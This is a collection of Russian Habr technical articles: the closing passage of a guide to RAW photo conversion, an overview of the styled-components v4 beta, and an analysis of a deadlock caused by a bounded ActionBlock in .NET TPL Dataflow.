На мой вкус наше изображение темновато, и карточка WhiBal, которая должна иметь 50% отражающей способности, в полном масштабе даёт всего 17%. Линейная коррекция яркости – это умножение каждого пикселя в данных на константу. Если мы посчитаем, что на данном снимке не нужно сохранять самые яркие участки изображения яркостью выше 100% рассеянного белого света, то эта константа в данном примере будет равняться 50/17, примерно 1,5 шага коррекции. В данном случае я решил применить субъективно-консервативную коррекцию в +1,1 шага линейной яркости, умножив все данные в файле на 2,14, и получилось следующее:
*Рис. 7: CFA-изображение после вычитания уровней чёрного, балансировки белого, обрезки, коррекции линейной яркости на 1,1 шаг*
Уже лучше. Но, как вы можете видеть, расплачиваться за линейную коррекцию яркости приходится засветкой частей водопада. Тут приходят на помощь продвинутые ползунки нелинейного сжатия ярких участков и восстановления теней, имеющиеся в большинстве конвертеров RAW.
4. Убедиться в ровной обрезке данных по балансу белого
------------------------------------------------------
Если в необработанных данных изначально был обрезан зелёный канал, возможно, после применения множителей баланса белого придётся обрезать и два других до полного масштаба, чтобы исправить возникшую нелинейность. Полный масштаб показан на гистограммах ниже в виде нормализованного значения 1,0. Видно, что зелёный канал оригинальных необработанных данных был обрезан (из-за нагромождения значений), а другие – не были.
*Рис. 8: Сверху вниз: гистограммы R, G, B после применения множителей баланса белого к необработанным данным, до обрезки. Обязательно обрезать все три до уровня меньшего из каналов, чтобы в ярких областях не появилось ложных цветов. Данные изображения отложены на отрезке 0-1, где 1 – полный масштаб.*
Обрезка на полном масштабе необходима, поскольку в тех местах, где нет данных от всех трёх каналов, полученный цвет, скорее всего, будет неверным. В итоговом изображении это может проявить себя как, допустим, розоватый оттенок на участках, близких к максимальной яркости. Это очень раздражает, допустим, на снимках заснеженных гор. Поэтому обрезка бескомпромиссно решает эту проблему.
*Рис. 9: Слева: правильно обрезанное изображение после применения баланса белого. Справа: изображение не обрезано. Жёлтой стрелкой показана область, близкая к максимальной яркости, где неполная информация от цветовых каналов даёт розоватый оттенок.*
Вместо обрезки можно было бы сделать определённые предположения о недостающих цветах и дополнить относительные данные. В продвинутых конвертерах RAW этим занимаются алгоритмы или ползунки с названиями типа «реконструкция ярких участков». Способов сделать это существует множество. К примеру, если не хватает всего одного канала, как в случае с зелёным от 1,0 до 1,2 на рис. 8, проще всего предположить, что яркие участки находятся в районе нейтрально белого цвета, а в необработанных данных изображения сделан правильный баланс белого. Тогда в любом квартете, где зелёный цвет будет обрезан, а два других не будут, то значение зелёного будет равняться среднему значению двух других каналов. Для данного снимка такая стратегия смогла бы реконструировать не более 1/4 шага в ярких участках (log2(1,2)). Затем потребовалось бы провести сжатие ярких участков и/или повторную нормализацию новой полной шкалы до 1,0.
5. Дебайеризация данных CFA
---------------------------
До сего момента CFA-изображение находилось на одной чёрно-белой плоскости, из-за чего цветные участки казались пикселизированными, как видно на рис. 6. Пришло время дебайеризации – разделения красных, зелёных и синих пикселей, показанных на рис. 2, на отдельные полноразмерные цветовые плоскости, путём аппроксимации отсутствующих данных (на рис. ниже они показаны в виде белых квадратов).
*Рис. 10: дебайеризация – заполнение отсутствующих данных в каждой цветовой плоскости с использованием информации из всех трёх плоскостей.*
На этом шаге можно использовать любой из большого количества продвинутых алгоритмов дебайеризации. Большинство из них работают очень хорошо, но некоторые получаются лучше других, в зависимости от ситуации. Некоторые конвертеры RAW типа открытых RawTherapee и dcraw предлагают пользователю выбрать алгоритм из списка. Большинство конвертеров не дают такой возможности, и используют один алгоритм дебайеризации. Знаете ли вы, какой алгоритм дебайеризации использует ваш любимый конвертер RAW?
В данном испытании я решил схитрить и просто сжать каждый квартет RGGB в единый пиксель RGB, оставив значения R и B для каждого квартета такими, какие они есть в необработанных данных, и усреднив G по двум (это эквивалентно режиму dcraw –h). Это алгоритм дебайеризации 2×2 по ближайшим соседям. Он даёт более удобное в работе изображение вдвое меньшего размера (по линейным измерениям, или вчетверо по площади).
*Рис. 11: необработанное RGB-изображение после вычитания уровней чёрного, балансировки белого, обрезки, коррекции линейной яркости и дебайеризации 2×2 по ближайшим соседям (эквивалент dcraw –h).*
На рис. 11 видно, что наши необработанные данные теперь представлены в RGB-формате с тремя полностью заполненными цветовыми плоскостями. Цвета такие, какие записала камера, показал браузер и монитор. Выглядят блекловато, но не сильно отличаются от оригинала. Оттенки хранятся не в стандартном RGB-пространстве, поэтому ПО и железо не всегда понимают, что с ними делать. Следующий шаг – преобразовать эти цвета в общепринятое колориметрическое стандартное цветовое пространство.
6. Преобразование и коррекция цветов
------------------------------------
Это один из наименее интуитивно понятных но наиболее важных шагов, необходимых для получения готового изображения с приятными глазу цветами. Все производители ревностно хранят секреты своих цветовых фильтров в CFA их матриц, однако при наличии подходящего оборудования не так уж сложно вывести функции спектральной чувствительности. Примерное представление о функциях вашей камеры вы можете составить даже [при помощи дешёвого спектрометра](http://www.strollswithmydog.com/bayer-cfa-spectral-power-distribution/).
Вооружившись всем этим, а также сделав множество предположений по поводу типичных источников света, сцен и способов просмотра, можно сгенерировать компромиссную линейную матрицу, преобразующую цвет, полученный в CFA-изображении (таком, как показано на рис. 11), в стандартный цвет, который смогут распознать распространённые программы типа редакторов или браузеров, а также устройства типа дисплеев и принтеров.
К счастью для нас, измерением и расчётом этих матриц занимается несколько прекрасных лабораторий – а потом они выкладывают расчёты в открытый доступ. К примеру, DXOmark.com выпускает матрицы для преобразования данных из необработанного фото после балансировки белого в sRGB для двух источников для любой камеры из их базы данных. Вот, например, [их матрица](https://www.dxomark.com/Cameras/Nikon/D610---Measurements) для Nikon D610 и [стандартного источника света](https://en.wikipedia.org/wiki/Standard_illuminant) D50:
*Рис 12: цветовая матрица от DXO lab для источника света D50: от данных, прошедших балансировку белого и дебайеризации к sRGB.*
Какая из компромиссных матриц будет лучшей, зависит от спектрального распределения энергии источника света в момент снятия кадра, поэтому реальную матрицу обычно интерполируют на основе парочки ссылок. В мире Adobe сегодня это стандартные источники света A и D65, отвечающие за предельные варианты типичного освещения в повседневной фотографии, от лампы накаливания до дневной тени и съёмки в помещении. Затем преобразованные данные адаптируются к источнику света, соответствующему итоговому цветовому пространству – для sRGB это, например, D65. В итоге получается некая матрица, как, например, та, что показана на рис. 12. Потом остаётся просто перемножить её на RGB-значения каждого дебайеризованного пикселя после шага 5.
В [спецификации](https://helpx.adobe.com/photoshop/digital-negative.html) своего DNG Converter Adobe советует более гибкий процесс. Вместо прямого перехода от CFA камеры к колориметрическому цветовому пространству Adobe сначала преобразует данные в цветовое пространство Profile Connection (XYZ D50), умножая данные после балансировки белого и дебайеризации на интерполированную линейную прямую матрицу [forward matrix], а потом уже приходит в итоговое цветовое пространство типа sRGB. Иногда Adobe также применяет дополнительную нелинейную цветовую коррекцию с использованием специальных профилей в XYZ (на языке DNG это HSV-коррекции через ProPhoto RGB, HueSatMap и LookTable).
Прямые матрицы камеры, сделавшей снимок, записываются в каждый DNG-файл, хвала Adobe. Я скачал оттуда матрицы для D610, а матрицы XYZD50 -> sRGBD65 с [сайта](http://brucelindbloom.com/Eqn_RGB_XYZ_Matrix.html) Брюса Линдблума, и [получил](http://www.strollswithmydog.com/apply-forward-color-matrix/) итоговое изображение:
*Рис. 13: «Честно» сконвертированное изображение. Необработанные данные, вычтены уровни чёрного, произведена балансировка белого, обрезка, подправлена яркость, дебайеризация через ближайшего соседа 2×2, цвет подкорректирован и преобразован в цветовое пространство sRGB.*
Теперь цвета такие, какие ожидают встретить программы и устройства в цветовое пространство sRGB. Если вам интересно, то данное изображение практически идентично тому, что выдаёт конвертер необработанных данных Capture NX-D от Nikon с профилем Flat. Однако выглядит оно не очень резко из-за плохой контрастности наших мониторов (см. Отображение тона).
7. Применение гаммы
-------------------
Последний шаг зависит от выбранного цветового пространства. Gamma для пространства sRGB [равна около 2,2](https://www.w3.org/Graphics/Color/srgb). Я отмечаю это особо только для того, чтобы показать, что на этом этапе процесс рендеринга становится нелинейным. С этого момента изображение приведено к колориметрическому гамма цветовому пространству, и его можно как загружать в любимый редактор, так и выводить на экран. В теории все предыдущие шаги были линейными, то есть легко обратимыми.
+ Отображение тона
------------------
В 2016 году почти всегда требуется ещё и коррекция тона, чтобы выбрать, как именно втиснуть большой динамический диапазон камеры в небольшой диапазон отображающего устройства. К примеру, в зависимости от вашей устойчивости к шуму, динамический диапазон моего D610 имеет 12 шагов, при том, что у моего совсем неплохого монитора коэффициент контрастности равен 500:1, или порядка 9 шагов. Это значит, что три нижних шага с камеры не будут видны на мониторе из-за его подсветки.
Кривая RGB субъективно перераспределит тона по диапазону, так, чтобы некоторые тени стали виднее за счёт некоторых самых ярких участков (поэтому эту кривую называют «градационной кривой»). На момент написания статьи такую кривую обычно применяет Adobe в ACR/LR во время рендеринга перед тем, как показать изображение в первый раз:
*Рис. 14: градационная кривая применяемая ACR/LR ближе к концу процесса рендеринга в Process Version 3 (2012-2016). Горизонтальная ось нелинейна.*
В данном случае я её не использовал. Я просто применил кривую увеличения контраста и добавил немного резкости в Photoshop CS5 к рис. 13, чтобы получить итоговое изображение:
*Рис. 15: Итоговое sRGB изображение. Изначально необработанные данные, вычтены уровни чёрного, произведена балансировка белого, обрезка, подправлена яркость, проведена дебайеризация, цвет подкорректирован, применена градационная кривая*
Конечно, применение кривой контраста на позднем этапе меняет хроматичность и насыщенность цветов, однако именно это происходит, когда вы применяете эти подстройки гамма-RGB пространстве после рендера изображения. Исторически так всё происходило в фотоаппаратах, и так всё происходит в популярных конвертерах RAW – такова процедура, и к такому мы с годами привыкли. Альтернативной для достижения «точности» цветопередачи будет использовать цветовой профиль с сайта Торгера, и уже не трогать тона.
Подытожим
---------
Итак, для базовой конвертации RAW с линейной подстройкой яркости и цветов требуется:
1. Загрузить линейные данные из файла RAW и вычесть уровни чёрного.
2. Провести балансировку белого.
3. Подправить линейную яркость.
4. Обрезать данные изображения.
5. Провести дебайеризацию.
6. Применить преобразования и коррекции цветов.
7. Применить гамму.
И всё – покров тайны с конвертертации необработанных данных сорван.
Скрипты для Matlab для получения изображений, приведённых в этой статье, можно [скачать по ссылке](http://www.strollswithmydog.com/wordpress/wp-content/uploads/raw2RGB.zip). 7 базовых шагов отмечены жёлтым:
`s = raw2RGB(‘DSC_4022’ , ‘ROI’ , 1.1)`
После использования скрипта сохраните файл в формате TIFF, загрузите в редактор цветов и примените выбранное цветовое пространство, чтобы увидеть правильные цвета.
|
https://habr.com/ru/post/516228/
| null |
ru
| null |
# Лучше, быстрее, мощнее: styled-components v4
Автор материала, перевод которого мы публикуем сегодня, хочет представить сообществу веб-разработчиков бета-версию библиотеки styled-components v4. Он, выступая от лица создателей библиотеки, говорит, что теперь в styled-components имеется новое глобальное API для работы со стилями и нативная поддержка свойств `as` и `ref`. Библиотека пошла по пути отказа от `.extend`, она совместима со StrictMode React v16 и стала лучше, быстрее и мощнее.
[](https://habr.com/company/ruvds/blog/422783/)
Особенности styled-components v4
--------------------------------
Для того чтобы установить свежую версию styled-components, воспользуйтесь такой командой:
```
npm install styled-components@beta
```
Вы можете ознакомиться с возможностями библиотеки, проверить их, и, если окажется, что что-то в ней нуждается в улучшении — сообщить об этом разработчикам. [Здесь](https://www.styled-components.com/docs/faqs#what-do-i-need-to-do-to-migrate-to-v4) можно найти инструкцию по переходу на новую версию библиотеки. [Вот](https://github.com/styled-components/styled-components/releases/tag/v4.0.0-beta.0) журнал изменений для styled-components v4.0.0-beta.0.
Рассмотрим основные особенности этого релиза styled-components:
* Уменьшение размера и увеличение быстродействия. Размер библиотеки уменьшен с 16.1 Кб до менее чем 15 Кб (её итоговый размер зависит от вашего бандлера и от использования плагина babel). Скорость монтирования возросла примерно на 25%, скорость повторного рендеринга — примерно на 7.5%.
* Новое API `createGlobalStyle`, которое является заменой старого API `injectGlobal` с поддержкой горячей перезагрузки и тем.
* Поддержка свойства `as` — более гибкой альтернативы `.withComponent()`.
* Избавление от `Comp.extend` с поддержкой автоматического перевода кодовой базы на унифицированный формат `styled(Comp)`.
* Полная совместимость со [StrictMode](https://reactjs.org/docs/strict-mode.html) React v16. Это, кроме того, означает, что разработчикам пришлось отказаться от поддержки React v15 и других, более старых версий React (хотя, для организации работы со styled-components v4 в React v15, вероятно, можно использовать полифиллы).
* Нативная поддержка `ref` для любых стилизованных компонентов, и, благодаря React v16, отсутствие необходимости использования `innerRef`.
Библиотека styled-components выпущена в виде бета-версии для того, чтобы у тех, кто ей пользуется, было бы достаточно времени для стресс-тестирования изменений, и для того, чтобы можно было подготовить вспомогательные механизмы вроде описаний типов и средств подсветки синтаксиса для новых API. Ожидается, что библиотека будет пребывать в статусе бета-версии около месяца.
Производительность
------------------
Когда была выпущена вторая версия styled-components, мы обещали, после доработки основных API, сосредоточиться на производительности. С тех пор, благодаря патчам, мы повышали производительность библиотеки, что, в частности, привело к [10-кратному](https://medium.com/styled-components/v3-1-0-such-perf-wow-many-streams-c45c434dbd03) росту производительности в v3.1.
Работа над быстродействием styled-components продолжается. Благодаря внутренним оптимизациям, касающимся работы с памятью, благодаря учёту особенностей реализации JS-движка и рефакторингу кода, скорость монтирования styled-components v4 и для глубоких, и для широких деревьев компонентов, возросла примерно на 25%. Обновления динамических стилей стали быстрее примерно на 7%. Вот сравнение производительности styled-components v3 и v4, проведённое по результатам трёх испытаний. Первые два связаны с исследованием монтирования деревьев компонентов, третье касается обновления компонентов с динамическими стилями.
*Сравнение производительности styled-components v3 и v4*
Эти результаты, полученные в изолированном окружении, выглядят впечатляюще. Однако довольно интересно будет сравнить styled-components v4 с другими библиотеками экосистемы CSS-in-JS, в частности, по скорости монтирования.
*Сравнение производительности styled-components v4 и других библиотек*
Как можно видеть, производительность styled-components выглядит весьма впечатляюще. В частности, в сравнении с самыми быстрыми библиотеками, результаты styled-components находятся в пределах стандартного отклонения от их результатов по показателям скорости монтирования и обновления. Всё это позволяет официально заявить о том, что производительность больше не является проблемой этой библиотеки.
Хотя производительность styled-components — это результат развития библиотеки и немалых затрат времени и сил на её совершенствование, это не означает, что улучшениями производительности мы больше заниматься не будем. Если мы обнаружим возможность сделать библиотеку ещё быстрее — мы этой возможностью воспользуемся.
Новое API глобальной стилизации
-------------------------------
Мы уже довольно долго занимались разработкой нового API глобальной стилизации. Старое API, `injectGlobal`, имеет три серьёзных недостатка: оно не поддерживает динамическое обновление, горячую перезагрузку и контекстуальное использование тем.
Теперь мы с удовольствием представляем вам `createGlobalStyle` — новое API глобальной стилизации, поддерживающее динамическое обновление. Вот как выглядит работа с ним:
```
import { createGlobalStyle } from "styled-components";
const GlobalStyle = createGlobalStyle`
html {
color: red;
}
`;
export default function App() {
return (
This is my app!
);
}
```
Благодаря использованию `createGlobalStyle` глобальные стили теперь являются частью дерева компонентов React. Хотя, на первый взгляд, ничего особенного в этом нет, это даёт возможность динамического обновления и горячей перезагрузки стилей, а также позволяет использовать [контекстуальные темы](https://www.styled-components.com/docs/advanced#theming) для глобальных стилей. Выглядит всё это точно так же, как при работе с любыми другими стилизованными компонентами.
```
import { createGlobalStyle, ThemeProvider } from "styled-components";
// Глобальные стили, которые теперь поддерживают обновления и темы
const GlobalStyle = createGlobalStyle`
html {
background: ${p => p.backgroundColor}
color: red;
font-family: ${p => p.theme.fontFamily};
}
`;
export default function App() {
return (
);
}
```
Отказ от .extend и «сворачивание» компонентов
---------------------------------------------
В этом релизе styled-components имеется внутренний механизм, благодаря которому стилизованные компоненты в обёртках теперь автоматически «сворачиваются», что позволяет рендерить лишь один компонент.
Что это означает для пользователей библиотеки? Дело в том, что API `StyledComp.extend` появилось в библиотеке для того, чтобы позволить выполнить некоторые оптимизации, основываясь на том факте, что расширяемые компоненты были стилизованными компонентами. Благодаря внутренней работе над автоматическим «сворачиванием» компонентов, при использовании `styled(StyledComp)` автоматически применяются те же оптимизации, которые применялись благодаря `StyledComp.extend`. Это означает, что от `.extend` теперь особенной пользы нет, что позволило отказаться от этого API. Как результат, теперь пользователи библиотеки могут писать меньше кода и получают возможность не тратить время на освоение дополнительного одного API. Мы полагаем, что это очень хорошо.
Полиморфное свойство as
-----------------------
Есть ещё одна новая возможность styled-components v4, к которой мы относимся с большим энтузиазмом. Речь идёт о нативной поддержке свойства `as` для любых стилизованных компонентов, что позволяет динамически, во время выполнения программы, влиять на рендеринг. Рассмотрим пример:
```
import styled from "styled-components"
import { Link } from "react-router-dom"
// рендерит в DOM элемент div
const Component = styled.div`
color: red;
`
Hello World!
// Но мы можем сделать так, чтобы он рендерил любой другой HTML-тег или компонент!
Hello World!
Hello World!
```
Если сравнить это с существующим механизмом `.withComponent(something)`, то новое средство является более гибким, так как при его использовании не нужно заранее описывать замену, и, благодаря новому внутреннему механизму «сворачивания», не теряется стилизация если базовый компонент — это styled-component!
```
import styled from "styled-components"
const RedColor = styled.div`
color: red;
`
const BlueBackgroundRedColor = styled(RedColor)`
background: blue;
`
Hello!
// Даже хотя мы переключаемся на рендеринг `span` с рендеринга
// , объект имеет красный цвет поверх синего
// фона!! (.withComponent на это не способен)
```
Как видите свойство `as` — это просто потрясающая штука, которая значительно упрощает рендеринг семантического HTML-кода в любом месте приложения. «Суп» из тегов больше оправдывать нечем.
Обратите внимание, что пока мы не убедимся в том, что свойство `as` способно стать подходящей заменой для `.withComponent` во всех вариантах использования, мы не будем от него отказываться. Предполагается, что этот переходный период продлится не слишком долго, и мы, в очередном крупном релизе, уберём `.withComponent`.
React v16 и ref
---------------
В процессе перехода на API React v16 мы, кроме прочего, обнаружили, что, благодаря новому API `React.forwardRef`, можно избавиться от `innerRef`. Нам никогда особенно не нравился этот приём, так как выглядел он как некий не особо чистый хак. Но благодаря отличной работе команды React теперь можно пользоваться нативным `ref`:
```
import styled from "styled-components"
const Component = styled.div`
color: red;
`
// Позже в функции render
{ this.myRef = element; }}
```
Улучшения для тех, кто пишет на TypeScript
------------------------------------------
Мы напрямую этим не занимаемся, но нам очень нравится новый [@babel/preset-typescript](http://twitter.com/babel/preset-typescript). Его существование означает, что теперь все, кто пишет на TypeScript, наконец смогут использовать [плагин](https://github.com/styled-components/babel-plugin-styled-components) babel для styled-components со всеми его полезностями, включая упрощённую отладку с применением имён компонентов в классах, поддержку серверного рендеринга и уменьшение размеров бандлов.
Кроме того, мы завершили перевод TS-типов в DefinitelyTyped. Теперь сообщество может работать с ними и исправлять ошибки типизации в собственном темпе, не привязываясь к релизам styled-components. Объявления типов можно найти [здесь](https://www.npmjs.com/package/@types/styled-components).
Итоги
-----
Из этого материала вы узнали о новых возможностях бета-версии библиотеки styled-components v4 и о внесённых в неё улучшениях. Надеемся, всё это пригодится тем, кто пользуется styled-components, а, возможно, окажется интересным тем, кто только собирается эту библиотеку попробовать.
**Уважаемые читатели!** Пользуетесь ли вы библиотекой styled-components в своих проектах?
[](https://ruvds.com/ru-rub/#order)
|
https://habr.com/ru/post/422783/
| null |
ru
| null |
# Изучаем ActionBlock: или короткая история о противном дедлоке
Думаю, что практически каждый реальный проект использует ту или иную форму реализации очереди поставщик-потребитель ([producer-consumer queue](https://en.wikipedia.org/wiki/Producer%E2%80%93consumer_problem)). Идея проблемы довольно проста. Приложению нужно развязать производство некоторых данных от их обработки. Возьмем, к примеру, пул потоков в CLR: мы добавляем элемент на обработку путем вызова **ThreadPool.QueueUserWorkItem**, а пул потоков сам разбирается, какое число рабочих потоков наиболее оптимально и вызывает методы для обработки элементов с нужной степенью параллелизма.
Но использование стандартного пула потоков не всегда возможно и/или разумно. Несмотря на возможность указания минимального и максимального числа потоков, эта конфигурация глобальная и повлияет на приложение целиком, а не на нужные его части. Существует множество других способов решить задачу поставщика потребителя. Это может быть решение «в лоб», когда логика приложения смешивается с аспектами многопоточности, очередями и синхронизацией. Это может быть обертка над [BlockingCollection](https://msdn.microsoft.com/en-us/library/dd267312%28v=vs.110%29.aspx?f=255&MSPPError=-2147217396) с ручным управлением числа рабочих потоков или задач. Или же это может быть решение на основе полностью готового решения, такого как [ActionBlock](https://msdn.microsoft.com/en-us/library/hh194684(v=vs.110).aspx) из TPL DataFlow.
Сегодня мы рассмотрим внутреннее устройство класса **ActionBlock**, обсудим дизайн-решения, которые были приняты его авторами и узнаем, почему нам все это нужно знать, чтобы обойти некоторые проблемы при его использовании. Готовы? Ну тогда поехали!
На моем текущем проекте у нас есть ряд случаев, когда нам нужно решить проблему поставщика-потребителя. Одна из них выглядит так: у нас есть кастомный парсер и интерпретатор для языка, очень похожего на TypeScript. Не вдаваясь глубоко в детали, мы можем сказать, что нам нужно пропарсить набор файлов и получить, так называемое «транзитивное замыкание» всех зависимостей. После чего их нужно преобразовать в представление, пригодное для исполнения и выполнить.
Логика парсинга выглядит примерно так:
1. Парсим файл.
2. Анализируем его содержимое и ищем его зависимости (путем анализа всех ‘import \* from’, ‘require’ и подобных конструкций).
3. Вычисляем зависимости (т.е. находим набор файлов, которые требуются текущему файлу для нормальной работы).
4. Добавляем полученные файлы-зависимости в список для парсинга.
Довольно просто, не так ли? Так и есть. Вот как будет выглядеть несколько упрощенная реализация на основе TPL Dataflow и класса **ActionBlock**:
```
private static Task ParseFileAsync(string path)
{
Console.WriteLine($"Parsing '{path}'. {{0}}",
$"Thread Id - {Thread.CurrentThread.ManagedThreadId}");
Thread.Sleep(10);
return Task.FromResult(
new ParsedFile()
{
FileName = path,
Dependencies = GetFileDependencies(path),
});
}
static void Main(string[] args)
{
long numberOfProcessedFiles = 0;
ActionBlock actionBlock = null;
Func processFile = async path =>
{
Interlocked.Increment(ref numberOfProcessedFiles);
ParsedFile parsedFile = await ParseFileAsync(path);
foreach (var dependency in parsedFile.Dependencies)
{
Console.WriteLine($"Sending '{dependency}' to the queue... {{0}}",
$"Thread Id - {Thread.CurrentThread.ManagedThreadId}");
await actionBlock.SendAsync(dependency);
}
if (actionBlock.InputCount == 0)
{
// This is a marker that this is a last file and there
// is nothing to process
actionBlock.Complete();
}
};
actionBlock = new ActionBlock(processFile);
actionBlock.SendAsync("FooBar.ts").GetAwaiter().GetResult();
Console.WriteLine("Waiting for an action block to finish...");
actionBlock.Completion.GetAwaiter().GetResult();
Console.WriteLine($"Done. Processed {numberOfProcessedFiles}");
Console.ReadLine();
}
```
Давайте посмотрим, что тут происходит. Для простоты вся основная логика находится в методе **Main**. Переменная **numberOfProcessedFiles** используется для проверки корректности логики и содержит общее число обработанных файлов. Основная работа делается в делегате **processFile**, который затем передается конструктору **ActionBlock**. Этот делегат играет одновременно роль «потребителя» и «поставщика»: он принимает путь к файлу через аргумент **path**, парсит файл, находит его зависимости и отправляет новые файлы в очередь путем вызова метода **actionBlock.SendAsync**. Затем идет проверка количества элементов в очереди на обработку, и если новых элементов нет, то вся операция завершается путем вызова **actionBlock.Complete()** (\*). Затем, метод **Main** создает экземпляр **ActionBlock**, запускает обработку первого файла и дожидается окончания всего процесса.
Метод **ParseFileAsync** эмулирует процесс разбора файла и вычисляет зависимости с помощью следующей примитивной логики: файл ‘foo.ts’ зависит от ‘fo.ts’, который зависит от ‘f.ts’. Т.е. каждый файл зависит от файла с более коротким именем. Это малореальная логика, но она позволяет показать основную идею вычисления транзитивного замыкания файлов.
Класс **ActionBlock** управляет конкурентность (concurrency) за вас. Правда нужно учитывать, что по умолчанию «уровень параллелизма» (degree of parallelism) равен 1 и чтобы изменить это, нужно передать экземпляр класса **[ExecutionDataflowBlockOptions](https://msdn.microsoft.com/en-us/library/system.threading.tasks.dataflow.executiondataflowblockoptions(v=vs.110).aspx)** в конструкторе **ActionBlock**. Если свойство **[MaxDegreeOfParallelism](https://msdn.microsoft.com/en-us/library/system.threading.tasks.dataflow.executiondataflowblockoptions.maxdegreeofparallelism(v=vs.110).aspx)** будет больше 1, то **ActionBlock** будет вызывать делегат обратного вызова из разных потоков (на самом деле, из разных задач) для параллельной обработки элементов очереди.
### Post vs. SendAsync: что и когда использовать
Каждый, кто хотя бы раз пытался самостоятельно решить задачу поставщика-потребителя сталкивался с проблемой: что делать, когда поток входных данных превосходит возможности потребителей в обработке? Как «троттлить» (throttle) поток входных данных? Просто хранить все входные элементы в памяти? Генерировать исключение? Возвращать **false** в методе добавления элемента? Использовать циклический буфер и отбрасывать старые элементы? Или блокировать выполнение этого метода, пока в очереди не появится местечко?
Для решения этой задачи, авторы **ActionBlock** решили воспользоваться следующим общепринятым подходом:
1. Клиент может задать размер очереди при создании объекта **ActionBlock**.
2. Если очередь заполнена, то метод **[Post](https://msdn.microsoft.com/en-us/library/hh462696(v=vs.110).aspx)** возвращает **false**, а метод расширения **[SendAsync](https://msdn.microsoft.com/en-us/library/hh194681(v=vs.110).aspx)** возвращает задачу, которая будет завершена при появлении в очереди свободного места.
В нашем предыдущем примере, мы не задавали размер очереди. А это значит, что если новые элементы будут добавляться быстрее, чем обрабатываться, то приложение рано или поздно упадет с **OutOfMemoryException**. Но давайте попробуем исправить эту ситуацию. И зададим очереди очень маленький размер, например, в 1 элемент.
```
actionBlock = new ActionBlock(processFile,
new ExecutionDataflowBlockOptions() {BoundedCapacity = 1});
```
Теперь, если мы запустим этот код, то получим … дедлок!
### Дедлок
Давайте подумаем о проблеме потребителя-поставщика с точки зрения проектирования. Мы пишем свою собственную очередь, которая принимает метод обратного вызова для обработки элементов. Нам нужно решить, должна ли она поддерживать ограничение числа элементов или нет. Если нам нужна «конечная» (bounded) очередь, то мы наверняка придем к дизайну очень похожему на дизайн класса **ActionBlock**: мы добавим синхронный метод для добавления элементов, который вернет **false**, если очередь заполнена, и асинхронный метод, который вернет задачу. В случае полной очереди у клиента нашего класса будет возможность решить, что делать: обрабатывать «переполнение» самостоятельно путем вызова синхронной версии добавления элементов или «ожидать» (await) появления свободного места в очереди с помощью асинхронной версии.
Затем вам нужно будет решить, когда вызывать метод обратного вызова. В результате, вы можете прийти к следующей логике: если очередь не пуста, то берется первый элемент, вызывается метод обратного вызова, ожидается завершение обработки, после чего элемент из очереди удаляется. (Реальная реализация будет существенно сложнее, чем кажется, просто потому, что она должна учитывать всевозможные гонки). Очередь может решить удалять элемент до вызова метода обратного вызова, но, как мы вскоре увидим, это не повлияет на возможность получения дедлока.
Мы пришли к простому и элегантному дизайну, но он легко может привести к проблеме. Предположим, что очередь заполнена и сейчас идет вызов обратного вызова для обработки одного из элементов. Но что если, вместо того, чтобы быстро «вернуть» очереди управления, хендлер пытается добавить еще один элемент путем вызова **await** **SendAsync**:
Очередь заполнена и не может принять новые элементы, поскольку метод обратного вызова еще не завершен. Но этот метод тоже застрял на ожидании завершения **await** **SendAsync** и не может двигаться дальше, пока в очереди не освободится местечко. Классический дедлок!
Ок, мы получаем дедлок, поскольку **ActionBlock** удаляет элемент из очереди \*после\* завершения метода обратного вызова. Но давайте рассмотрим альтернативный сценарий: что будет, если **ActionBlock** будет удалять элемент \*до\* вызова метода обратного вызова? На самом деле, ничего не изменится. Дедлок все еще будет возможен.
Представим, что размер очереди равен одному, а степень параллелизма – двум.
* Поток T1 добавляет элемент в очередь. **ActionBlock** достает элемент из очереди (уменьшая число элементов в очереди до 0) и вызывает метод обратного вызова.
* Поток T2 добавляет элемент в очередь. **ActionBlock** достает элемент из очереди (уменьшая число элементов в очереди до 0) и вызывает метод обратного вызова.
* Поток T1 добавляет элемент в очереди. ActionBlock не может вызвать обработчик нового элемента, поскольку уровень параллелизма – 2, и у нас уже есть два обработчика. **Очередь заполнена.**
* Первый обработчик во время обработки пробует добавить новый элемент в очереди, но залипает на вызове ‘**await SendAsync**’, поскольку очередь заполнена.
* Второй обработчик во время обработки пробует добавить новый элемент в очереди, но залипает на вызове ‘**await SendAsync**’, поскольку очередь заполнена.
Получается, что удаление элемента из очереди до обработки не поможет. Более того, это лишь усугубит проблему, поскольку вероятность дедлока существенно уменьшится (нужно, чтобы при степени параллелизма, равного N, все N методов обратного вызова попытались одновременно добавить новые элементы в очередь).
Другой недостаток менее очевиден. **ActionBlock** все же не является решением общего назначения. Этот класс реализует интерфейс **ITargetSource** и может использоваться для обработки элементов в сложных dataflow сценариях. Например, у нас может быть **BufferBlock** с несколькими «целевыми» блоками для параллельной обработки элементов. В текущей реализации баллансировка обработчиков реализуется тривиальным образом. Как только приемник (в нашем случае **ActionBlock**) заполнен, он перестает принимать новые элементы на вход. А это дает возможность другим блокам в цепочке обработать элемент вместо него.
Если элемент будет удаляться лишь после того, как он будет обработан, то ActionBlock станет более жадным и будет принимать больше элементов, чем может обработать в данный момент. В этом случае размер (bounded capacity) каждого блока станет равна ‘BoundedCapaciy’ + ‘MaxDegreeOfParallelism’.
### Как решить проблему с дедлоком?
Боюсь, что никак. Если одновременно нужно ограничивать число элементов в очереди и метод обратного вызова может добавлять новые элементы, то от **ActionBlock** придется отказаться. Альтернативой может быть решение на основе **BlockingCollection** и «ручного» управления числа рабочих потоков, например, с помощью таск-пула или Parallel.Invoke.
### Степень параллелизма (Degree of Parallelism)
В отличие от примитивов из TPL, все блоки из TPL Dataflow, по умолчанию являются однопоточными. Т.е. **ActionBlock**, **TransformerBlock** и прочие, вызывают метод обратного вызова по одному за раз. Авторы TPL Dataflow посчитали, что простота важнее возможных выигрышей в производительности. Думать о датафлоу графах вообще довольно сложно, а параллельная обработка данных всеми блоками сделает этот процесс еще сложнее.
Для изменения степени параллелизма, блоку нужно передать **ExecutionDataflowBlockOptions** и установить свойству **MaxDegreeOfParallelism** значение большее 1. Кстати, если этому свойству установить значение -1, то все поступающие элементы будут обрабатываться новой задачей и параллелизм будет ограничен лишь возможностями используемого планировщика задач (объекта **TaskScheduler**), который также может быть передан через **ExecutionDataflowBlockOptions**.
### Заключение
Проектирование простых в использовании компонентов является сложной задачей. Проектировании простых в использовании компонентов, которые решают вопросы параллелизма – сложнее вдвойне. Чтобы использовать подобные компоненты правильно, вам нужно знать, как они реализованы и какие ограничения держали в голове их разработчики.
